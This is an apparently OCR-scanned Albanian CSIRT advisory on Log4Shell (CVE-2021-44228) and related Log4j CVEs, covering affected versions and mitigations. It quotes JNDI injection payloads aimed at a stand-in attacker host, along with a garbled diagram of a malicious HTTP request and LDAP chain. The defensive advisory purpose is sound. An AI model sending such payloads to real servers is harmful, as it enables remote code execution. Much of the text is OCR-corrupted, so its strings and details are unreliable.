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Java Logging package RCE vulnerability
Niveli i cenueshmérisé: Serioz (kritik)

Ky postim ofron burime pér t'ju ndihmuar té kuptoni cénueshmériné dhe si ta eleminoni até.

Pérmbledhje

CVE-2021-44228

Kur serveri regjistron té dhénat qé pérmbajné ngarkesén e démshme (p.sh.,
S{jndi:ldap://attacker[.]Jcom/a} ) né kérkesé (dérguar nga njé pérdorues népérmjet ndonjé
protokolli), cenueshméria log4j shkaktohet nga kjo ngarkesa e pagesés dhe serveri i bén njé
kérkesé sulmer.com népérmjet Java Emértimit dhe Ndérfages sé Drejtorisé (JNDI).
CVE-2021-45046

Né disa konfigurime jo té parazgjedhura, patch-i i prezantuar né Apache Log4j 2.15.0 éshté i
paploté. Kur konfigurimi i regjistrimit pérdor njé paragitje jo té parazgjedhur té modelit me njé
kérkim té kontekstit (pér shembull, SS{ctx:loginld} ), sulmuesit me kontroll mbi té dhénat hyrése
té Thread Context Map (MDC) mund té krijojné té dhéna hyrése me géllim té keq duke pérdorur
njé model kérkimi JNDI , duke rezultuar né njé rrjedhje informacioni dhe ekzekutim té kodit né
distancé né disa mjedise dhe ekzekutim té kodit lokal né té gjitha mjediset

CVE-2021-45105

Njé sulmues me kontroll mbi té dhénat hyrése té Hartés sé Konteksit té Temave (MDC) mund té
krijojé té dhéna hyrése me qgéllim té keq qé pérmbajné njé kérkim rekurziv, duke rezultuar né njé
Gabim StackOverflow qé do té pérfundojé procesin dhe rrjedhimisht, kushtet e mohimit té
shérbimit (DdoS).

CVE-2021-4104

Nése sulmuesit marrin akses shkrimi né konfigurimin Log4j, ata mund té ofrojné konfigurime

TopicBindingName dhe TopicConnectionFactoryBindingName duke béré qé& JMSAppender té
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kryejé kérkesa JNDI gé rezultojné né ekzekutimin e kodit né distancé né njé ményré té ngjashme
me CVE-2021-44228. Ky problem prek vetém Log4j 1.2 kur éshté konfiguruar né ményré specifike

pér té pérdorur JIMSAppender, i cili nuk éshté i paracaktuar.

Mé 9 dhjetor, informacion né lidhje me njé cénueshméri kritike té paautentifikuar (RCE
vulnerability CVE-2021-44228), po ndikon né paketén e mirénjohur té regjistrimit Java logdj té
pérdorur nga shumé aplikacione dhe web servise té njohura. Vulnerabiliteti 0-day u postua né

Twitter [1] sé bashku me njé proof-of-concept (PoC) té postuar né GitHub [2].

Log4Shell éshté njé cenueshméri né paketén e mirénjohur té regjistrimit me burim té hapur Java
Log4j, e cila mirémbahet nga Apache Software Foundation. Log4j pérdoret né njé gamé té gjeré
aplikacionesh dhe shérbimesh ueb né té gjithé globin. Pér shkak té natyrés sé cenueshmérisé,
gjithépérfshirjes sé tij dhe kompleksitetit té korrigjimit né disa nga mjediset e ndikuar, éshté e
réndésishme gé té gjitha organizatat, vecanérisht subjektet qé jané nén Direktivén e Sigurisé sé
Rrjetit dhe Informacionit (NIS), té vlerésojné ekspozimin e tyre t&€ mundshém sa mé shpejt, sa mé

shumeé gé té jeté e mundur.

Kjo dobési mund t’i lejojé sulmuesit njé kontroll té ploté té serverit té afektuar, nése gjendet njé
string nga pérdoruesi i cili éshté i loguar né sistem. Megenése éshté e lehté pér t'u shfrytézuar,

ndikimi i késaj cenueshmérie éshté mjaft i réndé.

Kur serveri regjistron té dhénat gé pérmbajné malicious payload:

(p.sh., S{indi:ldap://attacker[.]com/a})

né kérkesé (dérguar nga njé pérdorues népérmjet njé protokolli ¢farédo), cénueshmeéria log4j
shkaktohet nga ky payload dhe serveri bén njé kérkesé pér attacker.com népérmjet Java Naming

dhe Directory Interface (JNDI).
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GET /a?q=%24%7B|ndi%3AldapX3A%2F X 2Fattad{lower:clker org%3A389% 2Fexploit¥% 7D HTTP/1.1
Host: www.yictim.com

User-Agent: root@S{indi:ldap://; Org: fexploit}

Referer: S{indi:idap://attacker.org:389/exploit)

q = S{indi:ldap://attas{l clker.org :389/exploit)
N user_agent = root@$({|ndi:Idap.//attacker.org:389/exploit}
o [— -1 2 referer = S{indi:ldap://attacker.org-389/explait)

(& user_agent = root@S{jndi:ldap://attacker.org:389/exploit}
LDAP Query to “attacker.org:389° for "exploit’ i) 1

_ —1] < .
>
DN: exploit
— 5) javacl : foo ~ - maj
LDAP service javaCodeBase: http://attacker.org 9999/ 3 (X‘g«,\ﬁ\““ - ( )

port 389 objectClass: javaNamingReference ]‘ "

S — | (spp-userdsarvar -1$ comand |
Cal] »
%

Web service
port 9999
Malicious Java Object

#* radware

source: Radware

Né shumicén e rasteve, zhvilluesit mund té shkruajné mesazhe gabimi té shkaktuara nga futja e
pérdoruesit né regjistér. Sulmuesit mund ta pérdorin kété vegori pér té ndértuar paketa té
vecanta té kérkesave té té dhénave pérmes késaj cénueshmeérie dhe né fund té shkaktojné

ekzekutimin e kodit né distanceé.

Mé 24 néntor 2021, ekipi i sigurisé sé Alibaba Cloud raportoi zyrtarisht dobésiné e ekzekutimit té
kodit né distancé té Apache Log4j2 né Apache. Pér shkak se disa funksione té Apache Log4j2 kané
funksione analize rekursive, sulmuesit mund té ndértojné drejtpérdrejt kérkesa me qgéllim té keq
pér té shkaktuar dobési té ekzekutimit té kodit né distancé.

Shfrytézimi i cenueshmérisé nuk kérkon konfigurim té vecanté. Pas verifikimit nga ekipi i sigurisé
sé Alibaba Cloud, Apache Struts2, Apache Solr, Apache Druid, Apache Flink, etj. jané prekur té
gjithé.
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KUJDES!!

Sistemet dhe shérbimet gé pérdorin bibliotekén e regjistrimit té Java, Apache log4j midis

versioneve 2.0 dhe 2.14.1 preken nga kjo dobési.

Eshté e réndésishme qé masat adekuate zbutése té zbatohen né kohén e duhur dhe qgé
organizatat té ndjekin udhézimet e autoriteteve té tyre kombétare té sigurisé kibernetike.
Késhillimet mé té fundit té publikuara nga Anétarét e Rrjetit CSIRT mund té gjenden né kanalet e
tyre zyrtare té komunikimit pérkatés. Organizatat mund t'i referohen gjithashtu udhézimeve té
dhéna nga CERT-EU.

Duke gené se kjo éshté njé situaté né zhvillim, ne rekomandojmé fugimisht té gjitha organizatat
gé té kontrollojné rregullisht udhézimet e dhéna nga Anétarét e Rrjetit CSIRTs dhe CERT-EU pér

vlerésimin dhe késhillat mé té fundit dhe té& ndérmarrin veprime sipas nevojés

Rekomandime
Akcesk rekomandon fugimisht kontrollimin e té gjithé serveréve pér pérdorimin e librarisé log4j
té cénueshme.
=>» Skanoni librarité e log4j, pérdorni Yara rules pér té anashkaluar vulnerabilitet e librarisé.
=>» Késhillohet té pérdorni njé version té pérditésuar té Java pasi sjell kufizime pér thirrjet e
bazuara né JDNI né LDAP dhe RMI.
=>» Cakto log4j2.formatMsgNoLookups né true duke shtuar vargun
-Dlog4j2.formatMsgNoLookups=True me komandén Java Virtual Machine pér startimin e

njé aplikacioni.

Nése gjendet njé aplikacion vulnerabél gé pérballet me internetin, rekomandohet fugimisht gé:
e té izolojé burimin nga pjesa tjetér e rrjetit té brendshém;
¢ analizoni makinén kundrejt cdo anomalie.

e pérdorni Web Application Firewall (WAF) dhe Intrusion Detection System (IDS)
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